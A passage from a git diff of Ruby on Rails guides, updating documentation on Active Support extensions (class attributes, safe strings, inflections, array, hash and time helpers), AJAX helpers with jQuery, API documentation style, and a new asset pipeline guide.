instance level. <ruby> A.x = 1 @@ -1010,7 +1058,7 @@ a1.x # => 1, comes from A a2.x # => 2, overridden in a2 </ruby> -The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to false, as in +The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+. <ruby> module ActiveRecord @@ -1023,8 +1071,20 @@ end A model may find that option useful as a way to prevent mass-assignment from setting the attribute. +The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+. + +<ruby> +class A + class_attribute :x, :instance_reader => false +end + +A.new.x = 1 # NoMethodError +</ruby> + For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. +When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method. + NOTE: Defined in +active_support/core_ext/class/attribute.rb+ h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+ @@ -1050,18 +1110,24 @@ module ActionView end </ruby> -we can access +field_error_proc+ in views. The generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+ (not any false value, but exactly +false+): +we can access +field_error_proc+ in views. + +The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value. <ruby> -module ActiveRecord - class Base - # No pluralize_table_names= instance writer is generated. - cattr_accessor :pluralize_table_names, :instance_writer => false +module A + class B + # No first_name instance reader is generated. + cattr_accessor :first_name, :instance_reader => false + # No last_name= instance writer is generated. + cattr_accessor :last_name, :instance_writer => false + # No surname instance reader or surname= writer is generated. + cattr_accessor :surname, :instance_accessor => false end end </ruby> -A model may find that option useful as a way to prevent mass-assignment from setting the attribute. +A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute. NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+. @@ -1160,8 +1226,12 @@ h3. Extensions to +String+ h4. Output Safety +h5. Motivation + Inserting data into HTML templates needs extra care. For example you can't just interpolate +@review.title+ verbatim into an HTML page. On one hand if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". On the other hand, depending on the application that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks. +h5. Safe Strings + Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. Strings are considered to be <i>unsafe</i> by default: @@ -1187,8 +1257,6 @@ s # => "<script>...</script>" It is your responsibility to ensure calling +html_safe+ on a particular string is fine. -NOTE: For performance reasons safe strings are implemented in a way that cannot offer an in-place +html_safe!+ variant. - If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped: <ruby> @@ -1229,6 +1297,22 @@ end NOTE: Defined in +active_support/core_ext/string/output_safety.rb+. +h5. Transformation + +As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +donwcase+, +gsub+, +strip+, +chomp+, +underscore+, etc. + +In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe. + +INFO: The safety bit is lost always, no matter whether the transformation actually changed something. + +h5. Conversion and Coercion + +Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string. + +h5. Copying + +Calling +dup+ or +clone+ on safe strings yields safe strings. + h4. +squish+ The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: @@ -1400,6 +1484,14 @@ The method +pluralize+ returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments. ++pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned: + +<ruby> +"dude".pluralize(0) # => "dudes" +"dude".pluralize(1) # => "dude" +"dude".pluralize(2) # => "dudes" +</ruby> + Active Record uses this method to compute the default table name that corresponds to a model: <ruby> @@ -1474,7 +1566,15 @@ end That may be handy to compute method names in a language that follows that convention, for example JavaScript. -INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. +INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+: + +<ruby> +ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym 'SSL' +end + +"SSLError".underscore.camelize #=> "SSLError" +</ruby> +camelize+ is aliased to +camelcase+. @@ -1555,7 +1655,7 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+. h5. +demodulize+ -Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it: +Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it: <ruby> "Product".demodulize # => "Product" @@ -1578,6 +1678,31 @@ end NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +h5. +deconstantize+ + +Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container: + +<ruby> +"Product".deconstantize # => "" +"Backoffice::UsersController".deconstantize # => "Backoffice" +"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" +</ruby> + +Active Support for example uses this method in +Module#qualified_const_set+: + +<ruby> +def qualified_const_set(path, value) + QualifiedConstUtils.raise_if_absolute(path) + + const_name = path.demodulize + mod_name = path.deconstantize + mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod.const_set(const_name, value) +end +</ruby> + +NOTE: Defined in +active_support/core_ext/string/inflections.rb+. + h5. +parameterize+ The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs. @@ -1726,7 +1851,7 @@ h4(#string-conversions). Conversions h5. +ord+ -Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encondings like ASCII or ISO-8859-1 in Ruby 1.8: +Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8: <ruby> "a".ord # => 97 @@ -1740,7 +1865,7 @@ In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte sup "à".mb_chars.ord # => 224, in UTF8 </ruby> -Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. +Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. INFO: +ord+ is equivalent to +getbyte(0)+. @@ -2037,6 +2162,30 @@ shape_types = [Circle, Square, Triangle].sample(2) NOTE: Defined in +active_support/core_ext/array/random_access.rb+. +h4. Adding Elements + +h5. +prepend+ + +This method is an alias of <tt>Array#unshift</tt>. + +<ruby> +%w(a b c d).prepend('e') # => %w(e a b c d) +[].prepend(10) # => [10] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + +h5. +append+ + +This method is an alias of <tt>Array#<<</tt>. + +<ruby> +%w(a b c d).append('e') # => %w(a b c d e) +[].append([1,2]) # => [[1,2]] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + h4. Options Extraction When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: @@ -2219,8 +2368,8 @@ The method +Array.wrap+ wraps its argument in an array unless it is already an a Specifically: * If the argument is +nil+ an empty list is returned. -* Otherwise, if the argument responds to +to_ary+ it is invoked, and its result returned. -* Otherwise, returns an array with the argument as its single element. +* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned. +* Otherwise, an array with the argument as its single element is returned. <ruby> Array.wrap(nil) # => [] @@ -2296,7 +2445,7 @@ NOTE: Defined in +active_support/core_ext/array/grouping.rb+. h5. +in_groups(number, fill_with = nil)+ -The method +in_groups+ splits an array into a certain number of groups. The method returns and array with the groups: +The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups: <ruby> %w(1 2 3 4 5 6 7).in_groups(3) @@ -2664,6 +2813,18 @@ hash # => {:a => 1} NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +h4. Extracting + +The method +extract!+ removes and returns the key/value pairs matching the given keys. + +<ruby> +hash = {:a => 1, :b => 2} +rest = hash.extract!(:a) # => {:a => 1} +hash # => {:b => 2} +</ruby> + +NOTE: Defined in +active_support/core_ext/hash/slice.rb+. + h4. Indifferent Access The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: @@ -2728,7 +2889,7 @@ Active Support extends the method +Range#step+ so that it can be invoked without (1..10).step(2) # => [1, 3, 5, 7, 9] </ruby> -As the example shows, in that case the method returns and array with the corresponding elements. +As the example shows, in that case the method returns an array with the corresponding elements. NOTE: Defined in +active_support/core_ext/range/blockless_step.rb+. @@ -3038,7 +3199,7 @@ Date.new(2010, 1, 31).change(:month => 2) h5(#date-durations). Durations -Durations can be added and substracted to dates: +Durations can be added to and subtracted from dates: <ruby> d = Date.current @@ -3246,7 +3407,7 @@ DateTime.current.change(:month => 2, :day => 30) h5(#datetime-durations). Durations -Durations can be added and substracted to datetimes: +Durations can be added to and subtracted from datetimes: <ruby> now = DateTime.current @@ -3315,7 +3476,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3330,6 +3491,32 @@ Active Support defines +Time.current+ to be today in the current time zone. That When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+. +h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+ + +The method +all_day+ returns a range representing the whole day of the current time. + +<ruby> +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now.all_day +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 +</ruby> + +Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. + +<ruby> +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now.all_week +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 +now.all_month +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 +now.all_quarter +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 +now.all_year +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 +</ruby> + h4. Time Constructors Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+: @@ -3367,7 +3554,7 @@ If the time to be constructed lies beyond the range supported by +Time+ in the r h5(#time-durations). Durations -Durations can be added and substracted to time objects: +Durations can be added to and subtracted from time objects: <ruby> now = Time.current @@ -3422,8 +3609,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") +logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ @@ -3503,8 +3690,3 @@ end </ruby> NOTE: Defined in +active_support/core_ext/load_error.rb+. - -h3. Changelog - -* August 10, 2010: Starts to take shape, added to the index. -* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 1566c23414..3a0ccfe9b2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,7 +3,7 @@ h2. AJAX on Rails This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc * Testing JavaScript functionality endprologue. @@ -24,20 +24,80 @@ h4. Standard HTML communication vs AJAX How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section) +h3. Built-in Rails Helpers +Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as: +<ruby> +javascript_include_tag :defaults +</ruby> +h4. Examples +All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method. -h3. Built-in Rails Helpers +<ruby> +button_to "New", :action => "new", :form_class => "new-thing" +</ruby> + +will produce -Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +<html> +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +</html> -To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: <ruby> -javascript_include_tag 'prototype' +button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } </ruby> +will produce + +<html> +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +</html> + +<ruby> +button_to "Delete Image", { :action => "delete", :id => @image.id }, + :confirm => "Are you sure?", :method => :delete +</ruby> + +will produce + +<html> +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +</html> + +<ruby> +button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?', + :method => "delete", :remote => true, :disable_with => 'loading...') +</ruby> + +will produce + +<html> +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +</html> + +You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application. + +<shell> +rails new app_name -j prototype +</shell> + You are ready to add some AJAX love to your Rails app! h4. The Quintessential AJAX Rails Helper: link_to_remote @@ -59,7 +119,6 @@ link_to_remote "Add to cart", </ruby> * The very first parameter, a string, is the text of the link which appears on the page. - * The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: ** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. ** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: @@ -72,7 +131,7 @@ link_to_remote "Add to cart", If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element. -** *position* By default (i.e. when not specifying this option, like in the examples before) the repsonse is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities: +** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities: *** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element. *** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element. *** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all. @@ -109,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -129,6 +188,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -138,6 +198,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser @@ -193,7 +254,6 @@ end What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). - h3. Testing JavaScript JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index e22ffa4c04..99eb668513 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -33,12 +33,16 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +h3. English + +Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences. + h3. Example Code Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas. -Use two spaces to indent chunks of code.—that is two spaces with respect to the left margin; the examples -themselves should use "Rails code conventions":http://rails.lighthouseapp.com/projects/8994/source-style. +Use two spaces to indent chunks of code--that is two spaces with respect to the left margin; the examples +themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions. Short docs do not need an explicit "Examples" label to introduce snippets, they just follow paragraphs: @@ -74,14 +78,14 @@ The result of expressions follow them and are introduced by "# => ", vertically If a line is too long, the comment may be placed on the next line: <ruby> - # label(:post, :title) - # # => <label for="post_title">Title</label> - # - # label(:post, :title, "A short title") - # # => <label for="post_title">A short title</label> - # - # label(:post, :title, "A short title", :class => "title_label") - # # => <label for="post_title" class="title_label">A short title</label> +# label(:post, :title) +# # => <label for="post_title">Title</label> +# +# label(:post, :title, "A short title") +# # => <label for="post_title">A short title</label> +# +# label(:post, :title, "A short title", :class => "title_label") +# # => <label for="post_title" class="title_label">A short title</label> </ruby> Avoid using any printing methods like +puts+ or +p+ for that purpose. @@ -102,7 +106,6 @@ routes.rb # NO RAILS_ROOT/config/routes.rb # NO </plain> - h3. Fonts h4. Fixed-width Font @@ -143,7 +146,7 @@ h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. @@ -180,8 +183,3 @@ self.class_eval %{ end } </ruby> - -h3. Changelog - -* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn - diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile new file mode 100644 index 0000000000..6ff5e87b6d --- /dev/null +++ b/railties/guides/source/asset_pipeline.textile @@ -0,0 +1,661 @@ +h2. Asset Pipeline + +This guide covers the asset pipeline introduced in Rails 3.1. +By referring to this guide you will be able to: + +* Understand what the asset pipeline is and what it does +* Properly organize your application assets +* Understand the benefits of the asset pipeline +* Adding a pre-processor to the pipeline +* Package assets with a gem + +endprologue. + +h3. What is the Asset Pipeline? + +The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. + +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. + +By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. + +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: + +<ruby> +config.assets.enabled = false +</ruby> + +You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets +</plain> + +It is recommended that you use the defaults for all new apps. + + +h4. Main Features + +The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. + +While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. + +The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. + +The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. + +The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. + +h4. What is Fingerprinting and Why Should I Care? + +Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file. + +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_. + +The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming: + +<plain> +global-908e25f4bf641868d8683022a5b62f54.css +</plain> + +This is the strategy adopted by the Rails asset pipeline. + +Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: + +<plain> +/stylesheets/global.css?1309495796 +</plain> + +This has several disadvantages: + +<ol> + <li> + <strong>Not all caches will cache content with a query string</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. + </li> + <li> + <strong>The file name can change between nodes in multi-server environments.</strong><br> + The query string in Rails is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. + </li> +</ol> + +The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content. + +Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. + +More reading: + +* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html +* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/ + + +h3. How to Use the Asset Pipeline + +In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. + +This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. + +In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server. + +When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. + +For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. + +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + +h4. Asset Organization + +Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. + ++app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. + ++lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. + ++vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. + +All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. + +You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example: + +<ruby> +config.assets.paths << Rails.root.join("app", "assets", "flash") +</ruby> + +h4. Coding Links to Assets + +Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. + +<erb> +<%= stylesheet_link_tag "application" %> +<%= javascript_include_tag "application" %> +</erb> + +In regular views you can access images in the +assets/images+ directory like this: + +<erb> +<%= image_tag "rails.png" %> +</erb> + +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. + +Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. + +Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. + +Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: + +<erb> +<%= image_tag "icons/rails.png" %> +</erb> + +h5. CSS and ERB + +If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules: + +<plain> +.class { background-image: url(<%= asset_path 'image.png' %>) } +</plain> + +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. + +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. + +<plain> +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } +</plain> + +This inserts a correctly-formatted data URI into the CSS source. + +Note that the closing tag cannot be of the style +-%>+. + +h5. CSS and Sass + +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. + +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. + +The more generic form can also be used but the asset path and class must both be specified: + +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ + +h5. JavaScript/CoffeeScript and ERB + +If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: + +<erb> +$('#logo').attr({ + src: "<%= asset_path('logo.png') %>" +}); +</erb> + +This writes the path to the particular asset being referenced. + +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+): + +<plain> +$('#logo').attr src: "<%= asset_path('logo.png') %>" +</plain> + +h4. Manifest Files and Directives + +Sprockets uses 